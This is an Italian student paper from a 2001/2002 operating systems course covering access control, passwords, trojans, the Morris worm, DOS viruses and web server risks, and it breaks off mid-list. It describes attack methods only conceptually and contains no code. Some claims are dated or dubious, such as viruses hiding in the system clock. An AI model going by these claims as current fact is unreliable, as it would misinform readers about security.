Università degli Studi di Siena
Facoltà di Ingegneria Informatica
A.A. 2001/2002
Corso di Sistemi Operativi
Sicurezza e Protezione
Docente:
prof. Alfio Andronico
Studente:
Ferruccio Costantini
Lucia Vagaggini
PROTEZIONE
Protezione e la sicurezza sono due aspetti di interesse vitale sia per gli utenti di un sistema
informatico che per i realizzatori.
I vari processi di un sistema operativo devono essere protetti dalle attività degli altri processi;la
protezione è il meccanismo per il controllo dell’accesso alle risorse definite da un sistema di
calcolo da parte di programmi,processi o utenti.
La protezione era originariamente intesa come un accessorio dei sistemi operativi con
multiprogrammazione tale che utenti non fidati potessero condividere lo spazio di nomi logici e
fisici comuni,ad esempio directory di file e memoria.
Vista la crescente complessità dei sistemi che con le applicazioni sempre più sofisticate
necessitano sempre più di risorse condivise, è comprensibile che si sia evoluto anche il concetto
di protezione.
I motivi più ovvi della protezione sono la prevenzione di violazioni intenzionali e dannose di
vincoli di accesso da parte di un utente e la necessità di assicurare che ogni componente del
programma attivo in un sistema utilizzi le risorse coerentemente alle politiche stabilite per gli
utenti delle risorse stesse,solo così un sistema sarà affidabile.
Il ruolo della protezione è quello di offrire un meccanismo di imposizione di politiche che
controllino l’utilizzo delle risorse.Queste politiche possono essere fissate in vari modi,tuttavia il
sistema di protezione deve avere la flessibilità di consentire di imporre le diverse politiche che
possono essere dichiarate per esso.
Le politiche possono variare a seconda dell’applicazione oppure con il tempo.
MECCANISMI DI PROTEZIONE
Dominio di protezione
Un sistema è un insieme di oggetti e di processi,con il termine oggetti si intendono sia parti
hardware che software,in generale gli oggetti sono dei tipi di dati astratti.
Le operazioni possibili dipendono dall’oggetto.
A un processo deve essere permesso di accedere solo a un processo per il quale ha ricevuto
l’autorizzazione e un’altra caratteristica fondamentale è che acceda solamente alle risorse di cui
ha concretamente bisogno.
Un processo opera cioè all’interno di un dominio di protezione,che è un insieme di
coppie<nome oggetto,lista dei diritti>;cioè un dominio specifica un oggetto e qualche
sottoinsieme di operazioni che si possono eseguire su di esso.
Un diritto è il permesso di eseguire una certa operazione.
Ogni dominio definisce un insieme di oggetti e i tipi di operazioni che possono essere richiamati
su ogni oggetto;la possibilità di eseguire una certa operazione per un processo è detta ‘diritto di
accesso’.
I domini non sono necessariamente disgiunti,essi possono condividere anche gli stessi diritti di
accesso.L’associazione tra domini può essere statica o dinamica.
E’ statica quando l’insieme delle risorse disponibili è fissato per tutta la durata del
processo,dinamica quando esiste un meccanismo che permette a un processo di passare da un
dominio all’altro o addirittura viene permessa la modifica al contenuto di un dominio.
In ogni istante un processo gira in qualche dominio di protezione.
In UNIX un dominio è associato all’utente.Il cambio di dominio corrisponde al cambio
temporaneo dell’identificatore dell’utente,che viene effettuato tramite il file system.A ogni file
sono associati un identificatore di proprietario e un bit di dominio(chiamato ‘setuid bit’) che può
essere ‘off’ oppure ‘on’.
In particolare in UNIX il dominio di un processo è definito dai suoi dati di identificazione
dell’utente(‘uid’) e da quelli del gruppo(‘gid’).
Data ogni combinazione (uid,gid) è possibile fare una lista competa di tutti gli oggetti a cui si
può accedere e indicare se essi possono essere visitati per lettura,scrittura o esecuzione.
Ogni processo UNIX ha due metà:la parte utente e la parte kernel.Quando un processo fa una
chiamata di sistema si sposta dalla parte utente alla parte kernel.
La parte kernel ha accesso ad un insieme di oggetti differente da quello della parte utente;per
esempio il kernel può accedere a tutte le pagine nella memoria fisica,al disco intero e a tutte le
risorse protette.Cosi una chiamata di sistema provoca uno scambio di dominio.
Nel sistema MULTICS i domini di protezione sono organizzati gerarchicamente in una struttura
ad anelli. Ogni anello è un dominio,essi sono numerati da 0 a 7.Se Di e Dj sono due anelli
dominio , con i<j, allora Di è un sottoinsieme di Dj,cioè un processo in esecuzione su Dj ha più
privilegi di uno che sta in Di.
Un processo in esecuzione su D0 ha più privilegi di tutti.
MULTICS ha uno spazio di indirizzi segmentato;ogni segmento è un file ed è associato a uno
degli anelli.
Un descrittore del segmento include un elemento che identifica il numero dell’anello,inoltre
contiene 3 bit di accesso per il controllo di lettura,scrittura e esecuzione.
A ogni processo è associato un contatore del numero corrente di anello,che identifica l’anello
nel quale il processo è attualmente in esecuzione.
Matrice di accesso
Il modello di protezione considerato può essere visto astrattamente come matrice d’accesso,le
cui righe sono i domini e le cui colonne sono gli oggetti.
Ogni elemento della matrice è formato da un insieme di diritti di accesso.
L’elemento ACCESS(i,j) definisce l’insieme delle operazioni che un processo in esecuzione nel
dominio Di può richiamare su un certo oggetto Oj .
Le decisioni di politica riguardanti la protezione possono essere implementate attraverso la
matrice di accesso.
In un sistema di protezione dinamica talvolta è necessario revocare i diritti di accesso a oggetti
condivisi da diversi utenti,così come è necessaria talvolta la revoca delle abilitazioni.
Due sistemi di protezioni basati sull’abilitazione sono Hydra e Sistema Cambridge CAP.
Il grado di protezione che viene fornito negli attuali sistemi di calcolo è di solito ottenuto tramite
il kernel del sistema operativo che si occupa di controllare e convalidare ogni tentativo di
accesso a una risorsa protetta. Oggi specificare il controllo d’accesso a una risorsa condivisa
significa fare una proposizione dichiarativa sulla risorsa mediante un linguaggio di
programmazione.
La specificazione delle protezioni in un linguaggio di programmazione permette la descrizione
ad alto livello di politiche per l’allocazione e l’utilizzo di risorse.
La matrice di accesso è un modello generale di protezione ed è normalmente implementata per
mezzo di liste di accesso associate a ogni oggetto ,oppure per mezzo di liste di abilitazioni
associate a ogni dominio.
Visto che la matrice di accesso tutta intera sarebbe troppo grossa si memorizza o per righe o per
colonne.
PER COLONNE
A ogni oggetto viene associata una lista ordinata che contiene tutti i domini che possono essere
associati all’oggetto e come.
C’è una “lista di controllo degli accessi”(ACL)
UNIX mette a disposizione 3 bit per ogni file:per il proprietario,per il gruppo a cui appartiene e
per gli altri.
La lista ACL compattata a 9 bit è una lista associata all’oggetto che precisa chi e in quale
modalità può accedere all’oggetto.
PER RIGHE
A ogni processo è associata una lista di oggetti a cui si può accedere ed è presente anche
un’indicazione di quali operazioni sono permesse su ciascun oggetto,in altre parole il suo
dominio.
Questa lista è detta “capability list”.
Ogni elemento ha un campo ‘tipo’ ,un campo ‘diritto’ e un campo ‘oggetto’.
Le capability list devono essere protette da intromissioni di utenti per mezzo di un architettura
etichettata,ossia un bit extra di tag, oppure bisogna mantenere la C-list dentro il sistema
operativo oppure un altro metodo è mantenere la C-list nello spazio utente(in questo caso
occorre crittografare ogni elemento della lista con una chiave segreta sconosciuta dall’utente).
Le matrici di protezione in genere non sono mai statiche perché quando si creano nuovi oggetti o
si distruggono i vecchi,quando bisogna estendere o restringere l’insieme degli utenti aventi
diritto a ceri oggetti, allora è necessario che le matrici cambino,siano cioè flessibili alle esigenze
del momento.
Ci sono 6 primitive:
1. crea oggetto
2. distruggi oggetto
3. crea dominio
4. distruggi dominio
5. aggiungi diritto
6. revoca diritto
La politica di sicurezza è che nessun oggetto può leggere un oggetto il cui livello sia superiore al
proprio,mentre può liberamente farlo con quelli inferiori,inoltre nessun processo può scrivere in
un oggetto il cui livello sia inferiore al suo.
SICUREZZA
La sicurezza di un sistema ha moltissimi aspetti.
Mentre la protezione riguarda l’interno perché si occupa di fornire un accesso controllato a
programmi e dati memorizzati in un computer,la sicurezza richiede la considerazione
dell’ambiente esterno nel quale opera il sistema.
Bisogna difendere le informazioni memorizzate nel sistema(codice e dati) da accessi non
autorizzati,da distruzioni o da alterazioni dolose.
I due aspetti principali della sicurezza sono:
1)la perdita dei dati per cause di forza maggiore,tipo errori hardware o software o errori umani
2)gli intrusi che possono essere passivi se vogliono solo leggere i file per cui non hanno
l’autorizzazione,oppure attivi se vogliono addirittura modificare i dati.
Le violazioni della sicurezza (abusi) del sistema possono essere classificate come intenzionali
oppure accidentali. Il modo per verificare la sicurezza di un sistema è raccogliere un gruppo di
esperti conosciuti come ‘tiger team’ per vedere se sono capaci di accedervi.
Gli attacchi che spesso hanno più successo sono:
1) richiesta di pagine di memoria,spazio su disco o su nastri e loro lettura.Molti sistemi non ne
cancellano il contenuto prima di allocarli e possono contenere informazioni interessanti scritte
dal proprietario precedente;
2) chiamate illegali di sistema;
3) ingannare l’utente lanciando un programma che scrive LOGIN cosicché l’utente digiti
password
e nome e il programma li possa memorizzare.
4) consultare manuali che dicono ‘non fare x’ e provare il numero maggiore possibile di
variazioni di x;
PASSWORD
L’aspetto della segretezza è fondamentale per proteggere gli individui dal cattivo uso
dell’informazione che li riguarda.
I problemi delle password sono connessi infatti alla difficoltà di mantenere la segretezza della
parola stessa.
La segretezza può essere compromessa dal fatto che le password possono essere indovinate
,mostrate per errore oppure trasferite illegalmente da un utente autorizzato a uno privo di
autorizzazione.
Il principale problema riguarda proprio la convalida ;generalmente la convalida è basata su una
combinazione dei seguenti tre insiemi di elementi:oggetti posseduti dall’utente(una chiave o una
scheda),conoscenze
dell’utente(un
identificatore
dell’utente(impronta digitale,firma).
L’approccio più diffuso è l’utilizzo di password.
e
una
password),un
attributo
Quando un utente si identifica attraverso la user-id gli viene chiesta la password e se corrisponde
a quella memorizzata nel sistema,il sistema assume che l’utente sia quello legittimo.
Visto che sono numerosi i modi perché una variante venga compromessa,c’è la variante di
password accoppiate.
Quando inizia una sessione il sistema seleziona caso una coppia di password e ne propone una
parte;l’utente deve fornire l’altra parte e se questa coincide a quella memorizzata nel sistema
l’accesso è consentito altrimenti negato.
Questo approccio può essere generalizzato all’utilizzo di una password in forma di algoritmo.
L’algoritmo può essere ad esempio una funzione intera. Il sistema seleziona a caso un intero e lo
propone all’utente;l’utente applica la funzione e risponde col dato.
UNIX utilizza una variante della password algoritmica per evitare di mantenere segreta la
propria lista di password.
Ogni utente ha una password. Il sistema contiene una funzione molto difficile da invertire ma
semplice da calcolare;cioè dato un x è facile calcolare f(x),ma dato un valore f(x) è impossibile
calcolare x.
Questa funzione è utilizzata per cifrare tutte le password.
Sono memorizzate solo le password cifrate.
Quando un utente presenta una password questa viene cifrata e confrontata con quella
memorizzata.
Agli utenti di UNIX conviene utilizzare password combinate,come due parole di dizionario
oppure due nomi inventati perché in questo modo è più facile evitare i metodi di decifratura per
indovinare le password, che sono numerosi.
PERICOLI PER I PROGRAMMI
Cavalli di troia
Molti sistemi dispongono di un meccanismo che permette agli utenti di utilizzare programmi
scritti da altri utenti.
Questi programmi possono abusare dei diritti di accesso dell’utente che li esegue se essi stessi
vengono eseguiti in un dominio che fornisce tali diritti di accesso.
Un segmento di codice che abusi del suo ambiente è chiamato cavallo di troia.
Il problema del cavallo di troia è aggravato dai lunghi percorsi di ricerca,come quelli diffusi su
UNIX.
Il percorso di ricerca indica l’insieme delle directory su cui effettuare la ricerca quando viene
sottoposto un nome ambiguo di programma ;ecco che tutte le directory devono essere sicure
altrimenti un cavallo di troia può insinuarsi nel percorso dell’utente ed essere eseguito.
Trabocchetti
Il progettista di un programma può lasciare un buco nel software che solo lui è in grado di
utilizzare.
Il codice può cercare una password specifica e aggirare le normali procedure di sicurezza,ad
esempio la famosissima transazione della lira.
Un abile trabocchetto potrebbe essere inserito in un compilatore;per scoprirlo è necessario
analizzare tutto il codice sorgente,che può essere anche di milioni di righe,perciò non di facile
individuazione.
PERICOLI PER IL SISTEMA
Alcune situazioni di abuso delle risorse del sistema e dei file utenti sono i worm(letteralmente
vermi) e i virus.
WORM
E’ un processo che sfrutta il meccanismo di generazione per minare le prestazioni del
sistema;esso genera continuamente copie di sé stesso logorando le risorse del sistema,talvolta
fino a renderlo inutilizzabile da tutti gli altri processi.
I worm sono potenti sulle reti di trasmissione perché hanno la possibilità di riprodursi sui
diversi sistemi a esse collegati e quindi di far cadere l’intera rete.
Una situazione di questo tipo si é verificata
nel 1988 tra sistemi unix connessi alla rete
mondiale internet,causando milioni di dollari di perdita in tempo di sistema e di
programmazione.
Internet collega migliaia di computer di enti governativi,accademici,di ricerca e industriali.
Al termine del giorno lavorativo del 2 novembre 1988 uno studente rilasciò un programma
worm
Su uno o più host connessi a internet.
Il worm si propagò rapidamente su grandi distanze ed entro poche ore dal suo rilascio aveva
consumato le risorse dei sistemi infetti fino al punto di causarne la caduta.
Il worm sfruttò le lacune nella routine di sicurezza di unix e ingannò le utility di unix che
semplificavano la
condivisione delle risorse in una rete locale per ottenere accessi non
autorizzati a migliaia di altri siti connessi.
Il worm era composto da due programmi ,un programma bootstrap e un programma principale.
Il bootstrap era costituito da 99 linee di codice C compilate ed eseguite su ogni macchina
raggiunta.
Una volta stabilitosi sul sistema sotto attacco il bootstrap si connetteva alla macchina sulla quale
era stato generato e caricava una copia del programma principale del worm sul sistema
agganciato.
Il programma principale iniziava quindi la ricerca di altre macchine a cui il sistema appena
infettato era in grado di connettersi con facilità.
Le stesse caratteristiche dell’ambiente di rete unix che hanno permesso una propagazione così
veloce ed efficiente del worm contribuirono anche al suo arresto.Infatti già a partire dalla sera
del 3 novembre circolavano su internet metodi per arrestare il worm.
Per infettare nuove macchine il programma worm provava tre metodi.
Il primo consisteva nel provarev a lanciare una shell remota usando il comando rsh.Alcune
macchine si fidavano delle altre macchine e lo eseguivano senza fare ulteriori verifiche di
autenticità.Se ciò funzionava la shell remota caricava il programma worm e continuava a
infettare le nuove macchine da lì.
Il secondo metodo uasava un programma presente su tutti i sistemi BSD chiamato FINGER che
permette a qualsiasi utente della rete di internet di lanciare il comando: Finger name@site
per visualizzare l’informazione riguardante una persona in una particolare installazione.
Questa informazione di solito include il vero nome della persona,il collegamento,il numero di
telefono e l’indirizzo di casa e di lavoro…insomma l’equivalente elettronico di una rubrica
telefonica.
Finger funziona come segue:
ad ogni sito BSD,un processo di background detto finger daemon è sempre attivo per ricevere e
rispondere alle domande provenienti da tutta la rete internet.
Il worm chiamava finger con una stringa speciale di 536 byte.
Questa stringa era così lunga da accedere alle dimensioni del buffer del daemon e ne invadeva lo
stack.
L’errore sfruttato qui era far fallire il buffer di daemon nel controllo dell’overflow.Quando il
daemon ritornava dalla procedura in cui era in quel momento non ritornava al programma
principale,ma andava ad una procedura nella stringa di 536 byte nello stack.
Il terzo metodo dipendeva da un errore nel sistema di posta SEND MAIL,che permetteva al
worm di spedire una copia del bootstrap ed eseguirlo. Una volta insediato,il worm cercava di
scoprire la password dell’utente.
Ogni password individuata permetteva al worm di connettersi con tutte la macchine su cui il
proprietario della password aveva un account.
Ogni volta che il worm otteneva l’accesso a una nuova macchina controllava se vi erano altre
copie del worm già attive. In questo caso la copia nuova usciva,tranne che una volta su 7 in cui
continuava l’esecuzione.
Se il worm fosse stato progettato in modo da terminare ogni volta si propagava in una macchina
già infetta,probabilmente non sarebbe mai stato scoperto. Consentendo a ogni settimo duplicato
di proseguire portò alla totale infestazione dei sistemi Sun e VAX.
Vista la complessità del programma worm non si può non pensare che non sia stata intenzionale
l’azione svolta dallo studente,anche se non si comprendono bene i motivi che spinsero Morris a
rilasciare il worm(forse una bravata che poi è degenerata in azione criminale).
Morris è stato giudicato colpevole dalla corte federale perché anche se il programma non
conteneva codice rivolto al danneggiamento o alla distruzione dei sistemi su cui veniva
eseguito,era comunque un programma che compiva operazioni elaborate per nascondere le
proprie tracce e per respingere qualsiasi tentativo di arrestarne la diffusione.
Morris ha avuto una condanna a 3 anni di libertà vigilata,400 ore di servizio alla comunità e
un’ammenda di 10.000 $.
VIRUS
Una categoria speciale di attacco è il virus,che è un frammento di programma attaccato ad un
programma legittimo con l’intento di infettare altri programmi.
Differisce dal worm solo perché è attaccato ad un programma già esistente mentre il worm è un
programma completo e indipendente.
La persona che scrive il virus prima produce un nuovo programma utile,spesso un gioco in MSDOS,questo programma contiene un virus ben nascosto.
Quando il programma è fatto partire comincia immediatamente con l’esaminare tutti i
programmi binari del disco fisso per vedere se sono già infettati. Quando trova un programma
non infetto,questo viene infettato attaccando il codice del virus alla fine del file e sostituendo la
prima istruzione con un salto al virus.
Quando il codice del virus termina l’esecuzione,esso prosegue con l’esecuzione dell’istruzione
che precedentemente doveva essere la prima e poi salta alla seconda istruzione,così che ogni
volta che un programma infetto viene eseguito prova ad infettare nuovi programmi.
Un virus può cancellare,modificare o crittografare file.
Per un virus è possibile anche infettare il boot server(settore iniziale) di un disco rigido
rendendo impossibile inizializzare il computer.
Un approccio più generale per risolverli è riformattare tutto il disco rigido compreso il boot
sector, installare tutto il software sicuro ed eseguire il controllo di parità per ogni file. Questo
metodo non previene l’infezione,ma permette una immediata individuazione del virus.
L’infezione si contrae più difficilmente se la directory dove risiedono i programmi non è
accessibile agli utenti ordinari perché è difficile per i virus modificare file binari. Sebbene si
possa usare in UNIX ,questa tecnica preventiva non è applicabile per MS-DOS visto che questo
tipo di directory non si possono completamente proteggere dalla scrittura.
In generale i computer multi utente non sono soggetti all’espansione dei virus, perché i
programmi in esecuzione sono protetti dalle scritture del sistema operativo. Anche se un virus
infettasse un programma i suoi poteri resterebbero comunque limitati perché altri aspetti del
sistema sono protetti.
I sistemi a singolo utente invece non hanno queste protezioni,per cui i virus hanno via libera.
La maggior parte dei pacchetti commerciali è efficace solo contro virus conosciuti e opera
cercando in tutti i programmi di un sistema la specifica sequenza di istruzioni che caratterizza i
virus. Quando tali programmi trovano una sequenza nota rimuovono le istruzioni ‘disinfettando’
il programma.
Tuttavia la migliore tecnica di protezione dai virus è la prevenzione,ossia la pratica
dell’elaborazione sicura,acquistando software sigillato e stare molto attenti se prendiamo copie
pirata o di pubblico dominio,cercando una individuazione veloce del virus e rimuoverlo prima
che faccia troppi danni. Se abbiamo contratto il virus occorre riformattare l’harddisk,specialmente il settore di boot.
Caricando solo software sicuro,calcolando una somma di controllo per ogni file copiato,dopo
ogni reboot un programma ricalcolerà le somme di controllo in base alla lista memorizzata in un
luogo immune da accessi non autorizzati;ogni differenza sarà un allarme per possibili infezioni.
VIRUSCAN è uno dei programmi antivirus fra i più efficaci. Qualsiasi sistema può essere
considerato a rischio per quanto riguarda un attacco virale.
Il tipo di danno può variare molto,fino a richiedere in casi estremi la completa ricostruzione del
software e dei dati.
Oggi sono oltre 90 ceppi virali diversi,specialmente nei sistemi che utilizzano collegamenti in
rete,e aumentano sempre più.
La possibilità di ridurre il rischio dell’infezione è tuttavia del95% e inoltre è possibile aumentare
la probabilità di recuperare dati persi qualora risultassimo vittime di un attacco.
Le reti di un computer sono vitali e un blocco della rete sarebbe una ‘Chernobyl informatica ‘.
Nessun tipo di software può essere considerato inviolabile.
Il virus è un programma software con un codice che apre e chiude circuiti elettrici nei
computer;per renderlo penetrabile nei sistemi i loro creatori,lo mimetizzano in modo che risulti
simile al software normale,una sorta di cavallo di troia.
Questi programmi dannosi sono resi interssanti ,come giochi o pacchetti di produttività.
Tali programmi sono spesso diffusi attraverso banche dati,da cui gli utenti li prelevano convinti
di ottenere qualcosa di utile. Comportamenti strani del software spesso vengono scambiati per
virus.
Un virus una volta diffuso è in grado di replicarsi e introdursi in altri sistemi;una volta dentro a
un sistema è in grado di infettare i file presenti su dischetti e dischi fissi.
I bersagli più ovvi sono i file.com o .exe o .sys che fanno parte di ogni sistema dos.
I virus che infettano i file.com o .exe interrompono la normale attività di elaborazione alla
prima occasione,prendendo il controllo del sistema e copiandosi nei nuovi file.com e .exe.
Possono attaccarsi ai file esternamente,come se fossero un etichetta su una cartellina,oppure
possono trovarsi spazi interni ai file capaci di accoglierne il codice in mezzo al codice del
programma ospite.
Alcuni restano nella memoria del sistema in modo da poter infettare ogni programma che venga
eseguito.
Altri possono modificare il settore di avvio (boot sector) di un disco in modo da<renderlo più
adatto alla loro vita e replicazione.
I virus di solito si agganciano all’inizio e alla fine dei file.
Alcuni virus sono addirittura in grado di assumere il controllo della FAT(file allocation table)
che organizza la collocazione dei file su disco. Questo virus ricrea una mappa del disco in modo
che il sistema operativo non possa più trovare i dati che gli servono.
Altri virus inviano copie di sé nella RAM,la memoria principale del computer,e possono restare
silenziosi e pronti ad assalire qualsiasi ospite ricettivo passi a tiro,come un dischetto sano che
venga inserito nel drive. Può accadere infatti di inserire un dischetto nuovo e perfetto,appena
estratto dalla sua confezione,e formattandolo per la prima volta trovarlo infettato da un virus che
era presente in ram,in un dischetto inserito nell’altra unità disco,o nel disco fisso.
I programmi pirata sono la fonte principale di virus.
Il pericolo potenziale di un virus non è sempre direttamente proporzionale alla sua
complessità,dimensione o sofisticazione tecnica.
E’ virtualmente impossibile che un virus arrivi a danneggiare un componente hardware senza
che l’utente si renda conto del fenomeno prima che si verifichi un danno fisico.
La capacità dei virus di danneggiare posta elettronica esiste principalmente nei sistemi che
permettono il trasferimento dei file eseguibili;sono invece più al sicuro i sistemi di posta
elettronica che si limitano a trasmettere i dati e riceverli in formato ASCII puro.
Molti virus dell’ambiente dos si nascondono nel settore di boot e ricercano i file con estensioni
“.com” o “.exe”.
Particolarmente invitanti sono i file del dos che non figurano negli elenchi di directory e
possono venire infettati senza che ciò venga tempestivamente rilevato.
Molti virus del dos si nascondono nell’orologio di sistema,dato che questa parte venga eseguita
non appena il sistema viene acceso. In questo modo il virus si attiva prima che un programma
antivirus inizi ad esaminare il sistema.
Un programma viene detto TSR(residente in memoria) quando al termine dell’esecuzione di una
data operazione,rimane caricato in memoria,pronto per ritornare disponibile quando è
necessario. Quando un virus TSR si introduce in un sistema e ha eseguito le operazioni iniziali
di infezione si nasconde nella ram e attende un momento propizio per attivarsi di nuovo.
Anche quando non è attivo un virus può causare problemi perché occupa spazio nella ram non
permettendo l’esecuzione di alcune operazioni.
Alcuni virus possono dare origini a sintomi che possono essere facilmente scambiati almeno
all’inizio per malfunzionamenti hardware,offrendo così ulteriori possibilità di infezione prima
che il virus venga rilevato.
Se si dovesse fare una classificazione dei virus allora ci sarebbero tre gruppi:
1)quelli che si installano nel settore di avvio di un dischetto o di un disco fisso,contenente le
primissime istruzioni per il computer. Questi virus si sostituiscono alle istruzioni originarie
prendendo immediatamente il controllo del sistema. Essi tendono a creare settori inutilizzabili
sul disco,dove memorizzare il resto del loro codice.
2)quelli che si attaccano a parti del sistema operativo o dal software di base e di gestione delle
operazioni.
I virus possono colpire parti di codice del sistema operativo dedicate all’input/output,l’interprete
dei comandi o qualunque altro file di sistema possono installarsi in memoria e rimanere attivi
permanentemente,oppure svolgere il loro compito e poi auto distruggersi. Questi virus
costituiscono un problema particolare poiché assumono il controllo di un sistema prima che un
programma per ricerca o la prevenzione del contagio da virus possa essere lanciato.
3)Questo tipo di virus può infettare qualsiasi programma applicativo,elaboratori di testo,fogli
elettronici,database,programmi speciali e perfino quelli scritti dall’utente stesso.
Questi virus possono installarsi in memoria e propagare l’infezione ogni volta che viene caricato
un nuovo programma,oppure quando un’applicazione viene trasferita su un nuovo disco,oppure
quando si accede a una directory contenente altre applicazioni.
Per rimuovere i virus dal sistema operativo bisogna prima di tutto identificare i file infetti.
I passi da seguire sono:
1- Spegnere il sistema e riaccenderlo avviandolo con un dischetto protetto in scrittura,contenente
una versione pulita del sistema operativo.
2-Per identificare i file infetti lanciare un programma come viruscan
3-Una volta identificati i file infetti,copiare dal disco i file originali corrispondenti sostituendoli
alle rispettive copie infette;il virus viene così eliminato.
4-assicurarsi che il dischetto originale resti sempre protetto contro la scrittura e che la copia
avvenga dal dischetto verso il disco fisso e non viceversa.
PROTEZIONE DEI DATI E PREVENZIONE DAL VIRUS
La protezione dei dati è la parte più importante di un sistema ed è responsabilità esclusiva
dell’utente. Chiunque abbia accesso fisico,elettronico,via telefono,in via rete,o tramite lo
scambio dei dischetti,a un sistema da proteggere rappresenta una potenziale minaccia.
Porre restrizioni all’accesso può risultare intanto una soluzione.
Il concetto delle restrizioni di accesso e della sicurezza dovrebbe estendersi anche a tutti i
supporti di memorizzazioni,dai dischetti ai dischi fissi...
Se mettere tutto sotto chiave non è un’idea realistica e praticabile,esistono accessori hardware
che impediscono l’accensione del computer da parte di estranei,così come programmi basati per
esempio su chiavi di accesso che impediscono l’utilizzo non autorizzato del software.
Bisogna però ricordare che ci sono molti virus,forse i peggiori, che entrano in funzione nel
momento stesso in cui viene acceso il computer e che anche il più elaborato sistema difensivo a
base di password e di codici di accesso potrebbe non essere in grado di impedire a un dischetto
infettato di contagiare il sistema.
DISK DEFENDER è un sistema di protezione,è un dispositivo hardware che agisce come una
barriera per mantenere i virus all’esterno di una data porzione del disco fisso.Esso prevede la
divisione del disco fisso in due parti:una zona di sola lettura e quindi sicura per i dati e un’altra
zona in cui sono permesse sia lettura che scrittura.
I VIRUS DELL’AMBIENTE DOS
Il ‘disk killer’ è un virus del settore di boot ed è il più distruttivo,esso esegue una formattazione
a basso livello del disco fisso.
Il ‘dark avenger’ colpisce i file con estensione.com o .exe.E’ in grado di attaccare qualsiasi
nuovo programma che risiede nel server,virtualmente in ogni momento di attività di un
programma applicativo,compreso il caricamento,l’esecuzione o il trasferimento di codici o di
dati tra sistemi.
Lo ‘zerbug’ attacca i file .com,si attiva e distrugge i dati in modo rapido ed efficace.
Lo ‘yankee doodle’ viene attivato nell’orologio interno del sistema.
Ci sono tantissimi altri virus,alcuni sono innocui altri sono catastrofici fino al punto di
cancellare l’intero contenuto del disco fisso. Esistono altri che bloccano il sistema replicandosi
fino al punto di saturare la memoria o lo spazio su disco.
VIRUSCAN
Viruscan è un software antivrus che funziona ricercando in un sistema le tipiche tracce di attività
virale e nel caso le rilevi,confronta questi sintomi con le caratteristiche proprie dei vari
virus,contenute nel suo database. Tipo come in un’indagine di polizia in cui vengono rilevate le
impronte digitali sulla scena di un delitto per poi poterle confrontare con quelle registrate negli
schedari.
La caratteristica di viruscan è che è facile ottenere gli aggiornamenti. Attualmente sono
disponibili sul mercato centinaia di programmi antivirus,ma anche i migliori rischiano di
diventare obsoleti nel giro di pochi mesi,man mano che vengono creati nuovi virus. Viruscan
può essere aggiornato in qualsiasi momento anche via telefono se si dispone di un
modem,tuttavia è efficace solo se usato di frequente e se è mantenuto aggiornato.
******
I dati in un disco fisso possono resistere anche ai disastri più gravi,compreso un virus.
E’ necessario identificare i dati di reale importanza e proteggerli da ogni pericolo immaginabile
come virus informatici e catastrofi naturali.
Le crepe di un sistema di sicurezza rendono un sistema vulnerabile agli attacchi umani almeno
quanto ai disastri naturali.
I virus possono penetrare attraverso i sistemi di sicurezza convenzionali e rivelarsi difficili da
prevedere e da individuare.
Non vi è nulla di statico nelle operazioni di un computer,tuttavia le procedure di sicurezza per la
protezione e il recupero dei dati devono essere considerate sacre e inviolabili e non deve essere
introdotto nessun cambiamento non autorizzato.
Sicurezza e protezione sul web
Introduzione
L'efficacia del Web sia come mezzo di divulgazione delle informazioni sia come strumento per la
vendita di prodotti o per l'erogazione di servizi è ormai nota a tutti e spinge, giorno dopo giorno, sempre
più entità ed organizzazioni a scegliere Internet come canale preferenziale di contatto con il pubblico.
L'uso di questo canale se da un lato apre la strada a possibilità di sviluppo prima impensabili, di contro,
presenta dei rischi che non possono essere sottovalutati.
D'altra parte le cronache di tutti i giorni riportano con sempre maggiore frequenza notizie relative ad
intrusioni perpetrate ai danni di sistemi informatici più o meno noti e non passa settimana in cui i
principali bollettini di sicurezza non danno rilevanza alla scoperta di pericolosi bug od exploit destinati
ad essere prontamente sfruttati per portare a compimento attacchi di vario genere.
Ma cosa rende un server
Web una risorsa così
appetibile ed esposta agli attacchi esterni
?
Sicuramente una combinazione di molteplici di fattori tra i quali vanno citati i seguenti:

i server Web spesso rappresentano delle vere e proprie porte di accesso alla rete interna (LAN)
nella quale sono custodite le informazioni più svariate (informazioni aziendali, dati sul personale,
sulla clientela, dati di rilevanza economica e legale, etc..);

la sottovalutazione dei rischi oppure la mancanza di risorse economiche ed umane da dedicare al
potenziamento delle politiche di sicurezza ed anche la scarsa progettazione e qualità del software
possono determinare l'insorgere di una condizione di intrinseca vulnerabilità dei servizi Web resa
ancora più grave dalla loro esposizione al pubblico;

condurre con successo un attacco sul Web utilizzando le classiche porte del servizio http (80, 81,
8000, etc..) è molto più facile dal momento che nella stragrande maggioranza dei casi il traffico
veicolato in questo modo non è bloccato dai dispositivi di controllo degli accessi (router e/o
firewall);
Dalla combinazione
di questi ed altri fattori possiamo trarre lo spunto per
fare
una semplice
osservazione: acquisire visibilità sulla rete significa purtroppo accrescere le probabilità di vedere, prima
o poi, il proprio server violato da qualcuno.
In effetti il rischio di subire intrusioni od attacchi di altro genere non è soltanto circoscritto ai grandi
portali del Web ma si
estende anche alle
semplici risorse di carattere statico le quali, se non
debitamente protette, possono attirare le attenzioni non proprio benevoli di qualcuno.
Sfortunatamente non esistono dei rimedi nè delle tecniche tali da poter rendere sicuro al 100% un
server contro gli attacchi provenienti dall'esterno ma, ciò nonostante, si può ancora operare per tenere
lontani molti problemi e vulnerabilità.
Per fare ciò occorre innanzitutto comprendere la natura e la portata dei pericoli ai quali ci si espone e
successivamente
adottare
delle precauzioni di carattere generale dirette a circoscrivere
i
rischi
suddetti entro limiti accettabili in relazione alla natura degli interessi da proteggere.
Ciò che un ingegnere dovrebbe essere in grado di fare è dunque individuare i potenziali rischi per chi
decide di esporsi all’esterno attraverso un servizio web di carattere pubblico ed individuare quindi una
serie di misure dirette a limitare i rischi.
Individuazione dei rischi
Fondamentalmente i pericoli derivanti
dalla mancata adozione di adeguati
criteri di sicurezza
nell'allestimento e nel mantenimento di un sito Web pubblico sono riconducibili alla possibilità di un
abuso del servizio da parte di soggetti malintenzionati.
Questo abuso può essere perpetrato in svariati modi ma molto spesso esso implica uno sfruttamento
degli errori di configurazione o delle vulnerabilità esistenti a livello di:
1
sistema operativo;
2
servizio http od altri servizi di rete (smtp, database, ftp, etc..);
3
programmi/interpreti e script utilizzati per la generazione del contenuto del sito;
4
dispositivi di controllo degli accessi (routers e firewalls).
In linea generale il percorso che un aggressore tenta di seguire nell'attacco di un sistema può essere
riassunto nel modo seguente:

accesso
al sistema attraverso l'esecuzione di exploit, lo sfruttamento di
condizioni di buffer
overflow in script e programmi, la cattura o l'intercettazione del file delle password, gli attacchi a
forza bruta;

